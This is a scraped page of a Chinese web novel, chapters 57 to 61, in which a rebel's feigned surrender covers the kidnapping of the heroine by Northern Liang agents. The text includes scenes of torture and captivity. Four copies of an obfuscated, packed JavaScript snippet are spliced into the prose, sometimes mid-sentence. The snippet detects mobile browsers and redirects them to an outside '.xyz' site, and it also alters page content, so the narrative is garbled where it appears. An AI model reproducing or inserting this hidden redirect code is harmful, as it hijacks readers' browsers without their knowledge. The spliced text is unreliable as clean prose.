好像这不是梦,而是裴令仪和元韫浓另一种的可能。 而元韫浓看元彻回还是盯着自己的脸看,没有反应,又喊了一声:“阿兄?” “怎么了?”元彻**过神。 “阿兄今天怎么了?是太累了吗?一直心不在焉的。”元韫浓眨了眨眼。 “啊。”元彻回揉了揉眉心,“还不是裴清都那小子丢下一堆事就去靖州了,我一日要干两个人的活。” 第57章 投降 “哈哈哈哈。”元韫浓没忍住笑出声,“那他这会回来了,阿兄可得叫他补回来。” 看着元韫浓笑,元彻回都有种恍如隔世的感觉。 于是元彻回笑了笑,“那是自然。” 他说着,又悄悄瞟了两眼元韫浓,确认元韫浓还安然无恙地在他面前笑。 帐外有人喊道:“世子,郡主,那头都安排好了,殿下叫我为郡主引路。” “去吧。”元彻回对元韫浓点点头,“短了什么缺了什么,尽管来说。” “好,阿兄先忙,可得记得一会好好休息。”元韫浓嘱咐。 她走出帐外,外头等着的还是熟人。 她就说刚刚听着声怎么那么耳熟呢。 孙鹃纨正抱臂等候在那里,看见元韫浓,便扬起眉梢笑:“又见面了,郡主。” “是啊,又见面了,看来我们缘分不浅啊,孙副将。”元韫浓勾唇。 “我也觉得。”孙鹃纨点头,“倒不如说郡主还真是腥风血雨的体质呢。” 元韫浓挑眉,“这算夸奖吗?” “这当然算。”孙鹃纨说,“对于我来说,一辈子都接触不到腥风血雨,这才是贬低。” “孙副将。”元韫浓注视着孙鹃纨,真心实意地说道,“你会青史留名的。” 无论是美名还是恶名,孙鹃纨这三个字会青史标名,以女子的身份。 孙鹃纨扬起嘴角,“借郡主吉言。” 她真是越来越喜欢元韫浓了。 元韫浓很漂亮,萦绕在元韫浓身上的是一种绮丽又诡谲的易碎感。 元韫浓看着似乎很脆弱,但眼神永远像山崖上的石莲花那样柔韧又野性。 她喜欢元韫浓的冷漠和灼热。 “副将,殿下让我们带郡主过去……”孙鹃纨身后的卫兵小声提醒。 “真啰嗦。”孙鹃纨啧了一声。 面对元韫浓,她又换了副表情,“我们走吧,郡主。” 元韫浓颔首,跟上她的步伐。 走入裴令仪的营帐内,孙鹃纨一行人行礼告退。 元韫浓走到裴令仪桌前,裴令仪起身相迎,“阿姊。” “这么急叫我来,是不是发生什么事了?”元韫浓问。 若不是有什么事,裴令仪不会这么会时间就叫人来喊她,尤其是她在跟自己亲人相处的时候。 “阿姊,庄且投降了。”裴令仪说道。 “啊?”元韫浓都觉得不可思议。 这有诈吧? 这么轻易的就投降了吗? 她都觉得劝降不太可能,她都还没劝呢,庄且就主动投降了? “这是他的降书。”裴令仪递出一份书信给元韫浓,“刚才叛军来使送了他的降书来,但是除了这个,他也没有任何表示。” 元韫浓翻开一看,庄且字字句句都是怨愤惠帝的不作为,然后提了几句她的帮助。 最后还写道:朝荣郡主元应怜乃是吾主,故愿献降。 酉时来访,不带刀兵,不带人马,以示诚意。 望清河王念及尊姐情分,与吾面谈。 这献降书写的真是……元韫浓啧了一声。 裴令仪看着那重点的几句,“他称呼阿姊为吾主。” “他兄长以前是我父亲的门生,后头我叫我父兄关照他,也算是把他圈入了国公府的保护之中。”元韫浓说,“于理上,我算是他主子。” 她意味深长道:“但他这封信,怎么看就像是埋怨主君无义,没能保住他兄长啊。” “这和阿姊有什么关系?”裴令仪轻嗤一声,“他只不过迁怒于人罢了,当初可是阿姊为他兄长说话,在北凉人面前站出来为他兄长撑腰。” 庄且不把矛头对准惠帝和北凉,反倒是埋怨起元韫浓了? 岐国公门生子弟何其之多,庄铭不过其一,也只是恰好科考时考官是岐国公罢了,才能称一句恩师。 当时三皇子和元韫浓一众人劝说半天也拦不住惠帝的息事宁人,偏偏庄铭还说错了话,认了罪。 再劝下去,可就得赔上更多了。 “所以啊,恐怕是真有诈。”元韫浓说,“他既然主动提出要跟你谈,你得多注意些。” 裴令仪点头,“我明白。” 元韫浓看了眼外边的天色,“他说酉时来,怕是也快到了,叫人查仔细些,以防他带什么东西进来。” “嗯。”裴令仪又点头。 他想了想,“我去主帐同他详谈,阿姊现在这帐中休息会吧。书架上摆了书,阿姊若是闲着无聊,可以翻阅。” “你帐中万一有什么军中机密,我可不敢看。万一到时候治我一个泄露军机的罪,我可担待不起。”元韫浓玩笑。 “阿姊。”裴令仪无奈道,“我没什么秘密,帐内的一切,阿姊想看,都可以看。” “行了。”元韫浓笑着摆摆手,“你去吧。” 裴令仪颔首,转身走出营帐。 元韫浓坐到裴令仪的位置上,随手翻看桌上的东西。 刚才的话当然是鬼扯,她什么不敢看? 上辈子做皇后的时候,她可是随意出入裴令仪书房,抽走**她的折子烧掉,然后次日早朝就找那些臣子秋后算账的。 更遑论这辈子了。 裴令仪桌上的也是一些军务,元韫浓看了一会就感到无趣了。 裴令仪或许是跟庄且有的要聊,到了亥时才回来。 元韫浓不但用完了晚膳,还吃了孙鹃纨送过来的糕点。 外头已是墨云掩月,唯残星数点。 秋末的军营里,白日的喧嚣已然褪去,只剩夜风裹挟着凉意,肃杀无比,却轻轻拂过营帐。 辕门外值守的士兵仍在巡视着,裴令仪步履匆匆地回来,拉开营帐的布帘。 扑面而来的是一股熟悉的幽幽药苦。 元韫浓已经百般聊赖地趴在了床边翻书,揉蓝衫子杏黄裙,青丝松松挽起,几缕碎发垂落在白皙的脸颊旁,更添几分楚楚动人。 身旁的烛火摇曳,映照着她清妍的面容,也将她的身影地投在地上。 听见动静,元韫浓抬起头,“你可算回来了。” 她的语气里带着几分倦意,却又透着抱怨:“早知道让你先带我去营帐了,我还以为你很快就谈完了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这就奇怪了,他也不像是真会献降。”元韫浓沉吟片刻,“而且,他既然敢只身一人前来,就必然留有后手。总不至于,连自己的命都不要了?” 她问:“那你跟他谈得怎么样?” “也没什么结果。”裴令仪微微皱眉,“他看上去倒是很诚心的样子,商议的也确实是叛军的后续安排。” “哦?”元韫浓意外地挑眉。 裴令仪说:“他像是个好头领,一直在据理力争,想为叛军谋取更多的利处,要我保证若是叛军投降,他们都不会受到伤害。” “那你觉得他是装的吗?”元韫浓问道。 “半真半假。”裴令仪笑了一下,“但献降十有**是假的。” 元韫浓点点头,“英雄所见略同。” “所以谈了半天没结果。”她倒了下去,倒在软和的棉被里。 “是,天色已晚,留到明日一早谈了。”裴令仪说道,“他留在营内了,我派人看守着他。” 其实要谈,他也可以不睡觉继续跟庄且谈的。 只是这里有元韫浓在,元韫浓在等他,所以他才叫停回来了。 他有些担忧地问:“被褥够软吗?阿姊睡得惯吗?” “这是什么地方?军营里,哪还有什么睡不睡的惯?”元韫浓无奈道,“再说了,也还行。” 第58章 同床共枕 有了元韫浓的答案,裴令仪才稍稍松了口气。 他叫人换被褥的时候,是换了附近能买到的最软的。 元韫浓顿了顿,反应过来,“庄且留在军营里,不是说也有空的营帐吗?” “阿姊身份特殊嘛,肯定得安排妥帖才行啊。”裴令仪笑容温和,“位置也得选择中心,离我营帐挨得近才可以。” 至于庄且?看守起来不整幺蛾子,不死就行。 谁管他啊? 裴令仪一番话说得有头有尾。 元韫浓觉得这个理由是合理的,无法反驳,可细思之下好像又有什么不对。 “算了。”元韫浓说,“无论他想做什么,留着他的命还有用。无论是用来逼惠帝,还是用来做筹码安抚叛军。” 裴令仪应声:“嗯,阿姊留他有用,我会尽量留着他性命的,不管他做什么。” 聊清楚了,元韫浓等裴令仪这么久,早就困了。 裴令仪见她眉宇间略有疲惫之色,便道:“阿姊睡吧,太晚了。” “嗯。”元韫浓用鼻音应了一声。 裴令仪替她掖了一下被角,探身出床帏,吹灭烛火。 前世跟裴令仪同床共枕习惯了,再加上舟车劳顿,元韫浓很快就进入梦乡。 反倒是裴令仪心绪不定。 同床共枕,元韫浓跟他挨得很近,并且没有这个自觉。 元韫浓巫山云雨般的长发就铺在枕头上,药苦混杂着茉莉发油的味道,萦绕在鼻尖。 裴令仪睡不着,心却意外的安定下来。 他悄无声息地缓缓转过身,在昏暗中望向元韫浓,勾勒出她秀美的轮廓。 他的目光一寸寸游移,从微颤的睫毛,再到挺直的鼻梁,最后落在嘴唇上。 裴令仪无意识地收拢了掌心,笑了笑,阖上了眼眸。 也不知睡了几个时辰,夜半,一阵脚步声匆忙靠近。 裴令仪敏锐地睁开了眼睛。 元韫浓本就睡得不安稳,裴令仪稍有动作,她就惊醒。 脚步声已经很近了,元韫浓愣了愣,看向裴令仪。 裴令仪拎起被子盖住元韫浓,迅捷地翻身下床,提起床边的剑。 他持剑缓慢地靠近帘帐,冷喝道:“谁?!” 帐外的人是冲过来的,听到裴令仪的质问猛地止步,在外面扑通一声跪下,“殿下,出事了!北面粮仓起火了!” “什么?”元韫浓从床上惊坐而起。 外头的僚属听到帐子里的女声,愣了愣。 怎么有女子的声音?他们这位殿下一直都不近女色的。 难道那位郡主今夜是歇在殿下营帐的吗? 这……虽说是义姐义弟,但这是不是也太亲昵了些? 裴令仪怒不可遏,“废物!这都守不住!” “属下罪该万死!”僚属连忙埋下头。 “去扑火!调动人手巡视,不可叫人趁乱而入!召集人马,在前营汇合!”裴令仪迅速下令。 僚属连忙应声,匆忙去执行命令。 裴令仪转身走到床边,撩开床帐,俯身轻轻撩开元韫浓鬓角的碎发,轻声说道:“阿姊在帐中不要离开,我会派人守卫。” “好。”元韫浓点了点头。 裴令仪冰凉的指尖摸到元韫浓的眼尾,一触即分。 顿了一下,裴令仪的神色变得坚定。 他转身快步朝外走去。 元韫浓这时候自然不会跑出去添乱,开玩笑,这时候出去万一出什么事怎么办? 她的安危最重要。 裴令仪派人看守着,不管怎么说都比她自己一个人跑出去要安全。 左右这时候也不可能接着睡了,元韫浓和衣起身,点了灯,坐在床边,以防不测之祸。 营帐外匆忙却又规律的脚步声反倒是一个好的讯号,元韫浓垂眸等待裴令仪回来。 而这时,外头突然传来一道声音:“郡主,殿下怕您饿着,派奴婢前来送些茶水点心。” 嗯?元韫浓警觉地抬起头。 虽然说裴令仪的性子倒是也不是不可能,但这会忙成那样,裴令仪还能抽空想茶水点心? 但是外面的守卫都没有反应,说明这个女使应该是军营里头的熟人才对。 军营里的女子不多,但是出身贵族的将领们来还是会带一些女使负责后勤的。 犹豫片刻,元韫浓说道:“进来。” 一个女使低眉顺眼地捧着盘子走进来,将摆放着茶水点心的棋盘举起,“郡主请用。” 元韫浓不动声色地扫视了一眼女使,走到掀开帘帐往外头看了一眼,巡视的士兵和看守的护卫没有异常。 看守的人甚至还是裴令仪的亲卫,元韫浓在裴令仪身边见过,看着眼熟。 离帘帐最近的亲卫见元韫浓探出身来,愣了愣,问道:“郡主可有何吩咐?” “没有异常吧?”元韫浓问。 “郡主放心,目前一切无异。”亲卫回禀。 元韫浓稍微放心了一些,转身进了帐内,但也没什么心情用茶点。 “摆桌上吧,我一会吃。”她随口道。 “是。”女使轻手轻脚地将漆盘摆下,便要离开。 “等等。”元韫浓突然瞥见女使侧着的小半张脸,喊住了她。 这人……怎么那么眼熟? 女使回过身,抬头面对元韫浓露出一个笑。 元韫浓瞳孔骤缩。 这是一个熟悉的面孔。 当初北凉人在京城作乱,岐国公府失守,她和裴令仪从密道逃出,却被蹲守。 那群蹲守的北凉追兵里,头目身边的北凉女人一眼就认出了她和裴令仪的身份和血脉。 这个女使,正是当初的北凉女人! 当初元蕴英领兵赶到剿杀北凉追兵,这个女人居然没死? 元韫浓还没做出反应,就突然一片迷蒙,紧接着天旋地转,眼前发黑,失去了意识。 那个女使看着倒在地上的元韫浓,对元韫浓身后撒了迷雾的蒙面人低声道:“快走,我来拖延时间。” 蒙面人点了一下头,迅速扛起元韫浓,无声无息地消失在阴影之中。 “啊,郡主困了吗?好,奴婢为郡主熄灯。”女使对着除她之外无人的营帐说道。 说着,自顾自吹灭了灯。 她又朝外看了一眼,抬了点声音说:“郡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476482|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主放心,奴婢在这里为郡主守着,不会有贼人进来的。” 帐外的亲卫并无察觉异样。 女使讽刺地笑了一下。 这群亲卫难道以为北营粮仓起火,贼子就会大张旗鼓地趁乱从正面杀过来吗? 有士兵在不停地巡视,这些亲卫居然就放心不查看后边了。 不过看起来这些亲卫也觉得元韫浓不会有什么危险呢,毕竟谁会放弃粮仓和主帅将领们,去突袭一个手无缚鸡之力,且刚到军营的郡主呢? 他们丝毫没有发现啊—— 朝荣郡主,这个牵制裴令仪最好的人质。 另一头的扑火忙得不可开交,巡视和警戒在此刻也显得非常重要。 裴令仪生怕有人趁乱生事,对这方面相当重视。 裴七和裴九亲自去盯着庄且,怕他这边出什么岔子。 孙鹃纨则是趁机抓细作。 这乱得顾头不顾尾的时候,抓细作自然有大收获。 孙鹃纨带人拎着几个细作直接现场开审,刑具摆列一排,血淌了一地,惨叫声连连。 往来巡视和提水扑火的士兵们听着凄厉的惨叫行色匆匆,也难免好奇心作祟,悄悄瞥一眼这边的惨状。 孙鹃纨往常审讯,都是由着他们喊,声音有多大就多大,好让周围听到的人都知道,背叛到底是个什么样的下场。 但是今时不同往日,如今元韫浓在军营呢。 孙鹃纨怕他们再叫下去,被元韫浓听到了,就让人把他们的嘴都堵上,愿意招了再扯开布。 这么一来一去,显得他们更惨了。 孙鹃纨没审出什么有用的讯息,只知道了重点不在粮仓那里。 这几个细作看着也不像是真知道什么大事的,也只是几个小喽啰。 孙鹃纨暗叹自己的审讯手段还是比不上裴令仪,这会这些细作就已经半死不活,问不出话来了。 裴令仪那个活阎王能活剥这些人一层皮,叫他们求生不得,求死不能。 其中一个细作还直接咬舌自尽了,孙鹃纨把人下巴卸下来,也没来得及制止。 “啧。”孙鹃纨咂舌。 孙鹃纨肉眼可见的心情不悦,她的部下小声问:“大人,这怎么办?” “都死透了能怎么办?挂外头去示众,也好敲打敲打那些心思不纯的。”孙鹃纨说。 “大人,那这些呢?”部下看向那些还活着的。 “哦,这些啊。”孙鹃纨斜睨一眼那些已经失去审问价值却还活着的细作。 她面无表情地拿手帕擦干净手上的血,“凌迟。” “不要啊!求大人恕罪!饶命啊!我、我们再也不敢了!”顿时哭嚎声一片,更甚之前的惨叫。 “都闭嘴。”孙鹃纨冷声呵斥。 部下连忙让人把他们嘴都再堵上。 一时只剩下细作们一把鼻涕一把泪,含着血混着泪的呜咽声,还有火把被风吹得呼啦作响的声音。 孙鹃纨丝毫没留情,挥手,“拖下去吧。” 立刻有人把几个细作都拖走。 “把这里收拾干净,被留着血次呼啦的。”孙鹃纨指了指地上的一片惨状。 第60章 人质 庄且从裴令仪眼底看到震惊、怒火和仓惶。 真是精彩啊,真是此生无憾了啊!他居然能看到裴令仪这样精彩的表情! 果然不愧是元韫浓,只有元韫浓才能让裴令仪流露出这种表情。 庄且大笑起来:“哈哈哈哈!你也猜到是谁了对吧?” 是谁?孙鹃纨意识到这个透露元韫浓药方的人,恐怕还是一个关系很近的人。 因为裴令仪眼里的暴戾都快要凝成实质了。 “没错,正是我们的好陛下。”庄且冷冷一笑。 “惠帝……”裴令仪都已经尝到了喉间的血腥气。 好样的,真是好样的。 要他挣自己一条残命,要他领兵**叛乱,想要杀他也就算了,居然还想还阿姊? 孙鹃纨已经震惊到无以言表,她没想到惠帝的下限还能低成这样。 想要杀裴令仪也就算了,元韫浓可是亲外甥女。 而且元韫浓所需的药材珍贵,恐怕惠贞长公主没少依照药方向惠帝索取药材,惠帝会知道药方也不意外。 庄且对于他们的反应相当满意,“北凉人也没想到惠帝会出卖自己人,他们顺着药渣的味道,一路相随,早就知道元韫浓跟你一起来锦州了。” “唉。”庄且叹了口气,“这还不好办了呢,在别庄的话,不管人手多少,总是好下手的。但是偏偏你放心不下她,带她来锦州了。军营重地,确实难下手了。” 他脸上扯开一个诡异的笑:“但是,也让他们更确认她对你的意义了,更加坚定要抓到她了呢。” 一个身份尊贵的,与将领血脉相连的,与主帅牵绊颇深的人质。 一个绝佳的人质。 “你这个蠢货。”孙鹃纨拧眉看着庄且,“你背弃旧主,甚至加害于旧主。自己想想你的兄长在九泉之下,知道自己的好弟弟勾结害死他的北凉人,是什么想法。” “北凉人是可恨,难道他们慕南一脉就不可恨吗?!”庄且怒吼道。 “啊,郡主此刻应该已经到北凉阵地了。”庄且咯咯咯笑了起来,“你猜那些蛮子会怎么对待她?剥皮抽筋,拔骨放血?还是说……” 寒光乍现。 裴令仪反手抽剑,剑鸣声裹着腥风直取对方咽喉。 却在距咽喉一寸之间时,硬生生停住。 庄且掌中的白玛瑙新月耳坠染了血,在他手里晃动着。 那血色覆盖在洁白的玛瑙上,也显得触目惊心。 正是那年中秋佳节时,还一贫如洗的裴令仪花了当时所有的钱买给元韫浓的礼物。 “当年北凉在京城生乱,你护着她从密道杀出重围时,这对白玛瑙耳坠沾的血可有比现在多吗?”庄且紧盯着裴令仪震颤的瞳孔。 他讽刺地笑:“今晚她被掳走的时候,也戴着这对耳坠呢。那些北凉人还挺知道礼尚往来的,走前还把这对耳坠摘下来给了我。” 孙鹃纨咬牙问:“他们想要什么?” “北凉皇帝要南营军虎符。”庄且说,“当时岐国公把虎符一分为二,一块在元蕴英手里,另外一块,如今应该在元彻回手中。” 他用嘶哑的声音笑:“暂且不论元蕴英手里的那半块,元彻回可就是在锦州。半个月内,不管你用什么办法,把元彻回手里那半块拿过来,时间很宽裕了。” “如果半个月里北凉没有拿到那半块虎符,就等着收到元韫浓的手,或者脚吧。哦——哪怕是首级,也说不定哦。”庄且幽幽道。 裴令仪握剑的手背青筋暴起。 他夺下了那对白玛瑙耳坠,捧在手里。 望着那对耳坠,他细细地擦拭掉血迹,珍惜地揣进怀里,勉强压抑下杀意和暴戾。 月亮干净且皎洁,不能被血污所玷。 “孙鹃纨,你看着他,你知道怎么做的。”裴令仪强迫自己冷静下来,转身离开。 他现在必须冷静下来,捋清楚思路。 照庄且这么说的话,至少半个月内元韫浓不会有性命之忧。 他必须想法子,在半个月内把元韫浓救出来。 时不我待,现在的时间都特别重要,他要抓紧一切时间来想一个周全之策。 孙鹃纨用看**的表情看着庄且,“我真是不明白你,不去报复皇帝老儿和北凉蛮子,反而一个先报复郡主?你恨她至此吗?” “是她没有救下我兄长!”庄且怒声道。 “郡主真可怜。”孙鹃纨叹了口气,“当初她就该直接杀了你,而不是还帮你一把的。” 她冷声道:“你搞清楚,是北凉寻衅滋事,随处挑了你哥这个软柿子来试探南朝的底线。也是惠帝懦弱不堪,息事宁人把你哥推出去送死。” “你哥自始至终都只是他们的牺牲品。”孙鹃纨说,“当初三皇子和郡主一行人在北凉使团面前为你兄长撑腰,到了惠帝面前也替他说话,但是都没有用。偏偏你兄长慌不择路之下,还认了罪。” “不过这也都没关系了。”孙鹃纨笑了一下,“接下来除了不让你死掉之外,我不会让你好过的。” 毕竟要一个人生不能生,死不能死的方式有很多种。 只要给庄且留一条命,等到元韫浓回来再用就行。 元彻回那边当然也是瞒不住的,裴令仪去北营救火的时候,他忙着处理后头的事务。 忙得焦头烂额,好不容易稳住局面了,就是一个天大的噩耗—— 他妹妹被叛军协同北凉掳走了,生死不明。 知道了来龙去脉,元彻回满心杀意无从发泄。 杀不了叛军,杀不了北凉,也杀不了狗皇帝,也杀不了裴令仪。 元彻回现在恨不得掐死裴令仪,“你连她这么大一个人都看不好!又让她失踪了?你怎么不干脆把自己丢了!” “你的亲卫,那帮废物是干什么吃的?一群人还看不住应怜一个不会武的小姑娘!”他咬牙切齿地骂道。 裴令仪现在没有心情跟元彻回争执。 他如今心焦似同油炸火煎,问:“有半块南营军虎符,在你这里对不对?” “你还真想用虎符去换应怜?你在想什么!北凉人就算拿到虎符,也不可能让应怜活着回来的!”元彻回大怒道。 他惊异于裴令仪居然真动虎符的心思。 要真拿虎符换,别说元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476484|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫浓,所有人都别想活了。 裴令仪根本不在乎别的,于他而言首位的是元韫浓。 他得准备好后手。 但是问题是,虎符不在元彻回手上。 庄且说一半在元蕴英手上,另一半应该在元彻回那里。 既然不在元彻回手里,就说明那半块虎符还在元韫浓手里。 当初元韫浓用完虎符之后,岐国公并没有把元蕴英和元韫浓手里的两半虎符收回去,仍然留在两个女儿那里。 这样元韫浓就更危险了。 但凡北凉人发现那半块虎符是在元韫浓手里,元韫浓的性命就更垂危了。 “难不成伪造半块虎符给那群野蛮人吗?”元彻回焦躁道。 裴令仪顿了顿,“伪造能伪造得真假难辨吗?” 元彻回语气不善:“那群北凉人又没见过真虎符长得什么样。” “先伪造一块以防万一吧。”裴令仪拧眉道,“我要试试看能不能往北凉安插探子,要是能取得放在北凉的细作联系最好。” “等等。”元彻回突然想起来了什么。 “怎么?”裴令仪问。 元彻回的表情有些迟疑,“北凉……是不是有个前朝公主,作为如今北凉皇帝的后妃在那?” 北凉人是父死子继,兄死弟及的。 那个曾经裴雍一脉的公主不知道换了多少个丈夫。 “你在说什么?我跟那位公主压根没见过面,再说了,那位公主在北凉待了不知道多少年,不一定会真心帮忙。怎么能将阿姊的安危,交付于一个不知底细的人手上?”裴令仪蹙眉。 他跟那个公主的亲缘并没有多近,只是都姓裴而已。 他这个裴姓之人这里,就已经只剩他一个裴氏嫡系了。 而那位公主出嫁时,也是宗亲之女封为公主。 他们二人之间的血脉和关系可想而知,根本与陌生人无异。 “怎么说你跟那位公主也沾亲带故,你不妨联系着试试。”元彻回也是病急乱投医了。 裴令仪拒绝:“风险太大了,但凡暴露,阿姊都会徒增危险。” 元彻回只得作罢。 “这件事情暂且不能传回京城,让其他人知道。明面上,阿姊现在还是在别庄休养。”裴令仪说。 “为什么?”元彻回皱了皱眉,“虽然父母亲会担心挂怀,但是父亲说不定……” 裴令仪打断他:“一是为了不再生乱,二是为了阿姊的名声,三是为了以防万一,四是因为惠帝。” 元彻回的神色冷了下来,“我知道了。” 要是让惠帝知道元韫浓被北凉掳走了,可就有得闹了。 而且惠帝知道他们都明白是他给了药方的话,必定会担心他们这些人会不会谋反。 不能在这个节骨眼上,再使得元氏受挫。 “我去同底下僚属商议,还有什么法子。”裴令仪神色匆匆地离开。 元彻回望向他不知疲惫的背影,暗自叹息。 可千万别像是他的梦里那样,那一个又一个惨不忍睹的结局。 “应怜……”元彻回闭了闭眼。 他可怜可爱,命运多舛的妹妹。 第61章 哑奴 元韫浓在被一路扛回来的路上就已经醒了。 醒了还不如不醒,她开始怨怪那个撒迷雾的人控制不好剂量,居然让她中途就醒过来了。 扛着她的人看起来是丝毫不顾她的死活,一路颠簸,元韫浓不但头晕脑胀,还几次都想吐。 简直是难受得要命。 带她一路狂奔的这一行人是北凉人。 一路上听了个大致,元韫浓都能明白,庄且和北凉人联合在一起,给她和裴令仪下套。 至于怎么找到她,还是她一直以来喝的药暴露了下落。 药方……惠帝…… 元韫浓听得眉心一跳。 她突然想起来了,她幼时的记忆。 惠帝小时候想要掐死她是真的,那不是她的梦。 惠贞长公主在她幼时带她进宫,有一回在跟惠帝独处的时候,惠帝真的想要掐死她。 惠帝的手已经扼住了她稚嫩脆弱的脖颈,在不断地用力,浑浊的眼珠里闪烁着厌恶和排斥。 还好后面惠贞长公主回来了,惠帝才抱起了不断哭嚎的她,假装安慰。 惠帝根本不想让惠贞长公主生下孩子,无论是之前那个打掉的男胎,还是元韫浓。 当初若不是惠贞长公主失去第一个孩子之后一蹶不振,惠帝根本不会允许元韫浓降生。 他只希望惠贞长公主有他一个亲人,全心全意地为他而活,替他监视岐国公府。 元韫浓闭了闭眼睛,暗自咬紧牙关。 惠帝…… 不知道过了多久,似乎是到了目的地,元韫浓被人丢在地上。 “哟,醒了?”有人给元韫浓戴上了镣铐。 那几个北凉人嘀嘀咕咕地说了些什么,然后其中一个人拽着镣铐把元韫浓扯过去。 “走吧,南朝的郡主大人。”他肆意地嘲笑,“没想到自己还会成为北人的阶下囚吧?放心,在换得你哥哥手里的南营军虎符之前,我们不会让你死的。” 元韫浓被他拽着,跟上他的脚步。 虎符?他们以为在元彻回手里吗?但实际上是在她…… 元韫浓垂下眼帘,看似乖顺地跟随这个北凉人往前,不动声色地观察起周围的环境。 看着像是和北州相邻的北凉边境,这里是北凉驻扎的军营。 她记得听裴令仪提起过,驻守北凉边疆的,是北凉的二皇子那颜律。 元韫浓对这个那颜律很有印象,因为就是这个人跟前世的大雍打得有来有回。 裴令仪御驾亲征数回,才在将死之前杀了这个人。 到了北凉,还是在那颜律手中,那可真是龙潭虎穴了。 元韫浓暗自叹息。 那个北凉人将元韫浓丢进一个单独的营帐,帐内除了个铁架子什么都没有。 他把锁链固定在铁架上,确认元韫浓的活动范围只有这个营帐内之后,便走了出去。 元韫浓瞥见外头巡视的士兵,还有站岗看守她的卫兵。 那个北凉人嘱咐:“把人看紧了,这人可是重要人质。若是她出了什么问题,跑了或是丢了,提头来见。” “是!”那些北凉士兵应声。 元韫浓的精神这才稍稍松懈下来一些。 这一下子,病痛似乎趁虚而入,胸口一阵一阵的窒闷感煎熬无比。 元韫浓靠着铁架一点点滑下去,坐在地上,闭上了眼睛。 这下可才是麻烦了,怎么样才能保命,又怎么样才能逃命? 手上的镣铐沉重无比,元韫浓动得稍微频繁一些,就会被磨破皮。 当晚元韫浓就病了,只是死不了,也没人发现。 一连三日,元韫浓能接触到的,只有一个来送一日三餐的哑奴。 元韫浓不管是前世还是今生,真没吃过这种苦。 她不断地思索着有什么能破局的办法,可她现在连人都见不到。 元韫浓已经听了三天帐外一切细碎的声音,有些路过的士兵们会谈论一些琐事,这些琐事里总有些有用的讯息。 例如说他们提到前朝来和亲的那个裴雍公主,嘲笑她是个已经老了的寡妇,被北凉皇帝丢在军营里,来做和南朝交战时可有可无的人质。 例如说他们提到有几个南朝的奴隶**,他们把尸体丢在了东南方,秃鹫和野狗和吃掉那些尸体。 于是在第四日,她在哑奴放下盘子时,突然抓住了哑奴的手腕。 哑奴愣了愣,惶恐地抬头看向元韫浓。 “你身上,有寒食散的味道。”元韫浓说道。 哑奴呆在原地。 “在这军营里,是有哪个贵人在服用寒食散吗?”元韫浓靠在铁架上,“你身上有这个味道,就说明你平时会接触到这个,不管你是负责传送,还是服侍。” 哑奴似乎是感到了恐惧,想要后退一步。 但是眼前这个看似柔弱的女子却更加用力地拽住了她的手腕,致使她不能后退。 她从这个美丽却病弱的女子身上,感知到了一种压迫感。 分明她稍微一用力就能挣脱这个虚弱的女子,但是她却不敢挣脱。 哑奴连忙跪在地上,本能地用另一只手比画着向元韫浓求饶。 元韫浓笑了一下,“别担心,我只是想请你帮个忙。” 她说完,瞥了一眼帐外,那些卫兵并没有动静。 是他们掉以轻心了,但谁会对一个体弱多病,养尊处优的郡主满怀警惕呢?她甚至都被锁起来了。 更何况她从一开始就表现得很顺从,像是被吓坏了胆。 哑奴小心翼翼地抬起头,看向元韫浓。 “你看,我身体虚弱,自小多病,成日里没有精神。在家中我都是服用寒食散来维持精力的,我离不开它。但是到了这里,什么都没有,每日我都觉得万蚁噬心。”元韫浓说道。 这话当然是假的,寒食散长期服用一堆毛病,不但亏空内里还会**,产生依赖上瘾。 也就只能迫不得已的时候用一些。 她清楚自己的身体,撑不了太久的。 如果想要逃出去,必须得靠药。 所以她笑着对哑奴说道:“我想请你从你能接触到的寒食散当中分一些出来,在送饭菜时给我,这对你来说不是难事吧?” 哑奴连连摇头摆手,比画着不行。 如果被发现她盗取主人的药的话,她会被处以极刑的。 元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476485|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韫浓注意到哑奴缺了小指的手正剧烈颤抖。 在北凉,左手缺一根手指,那是偷窃者才有的刑罚。 而且…… 哑奴的面孔虽然瞧着有些特殊,但不像是北凉的血脉。 她跪在雪上,后颈有块烫伤的疤,形状恰似北凉给奴隶烙上的烙印。 再加之她如今过得如此凄惨,元韫浓觉得她应该是西洲或者北州的南朝人,被抓来当的奴隶。 “我知道寒食散很珍贵,而且你还需要冒着风险,所以我不会让你白做的。”元韫浓说道。 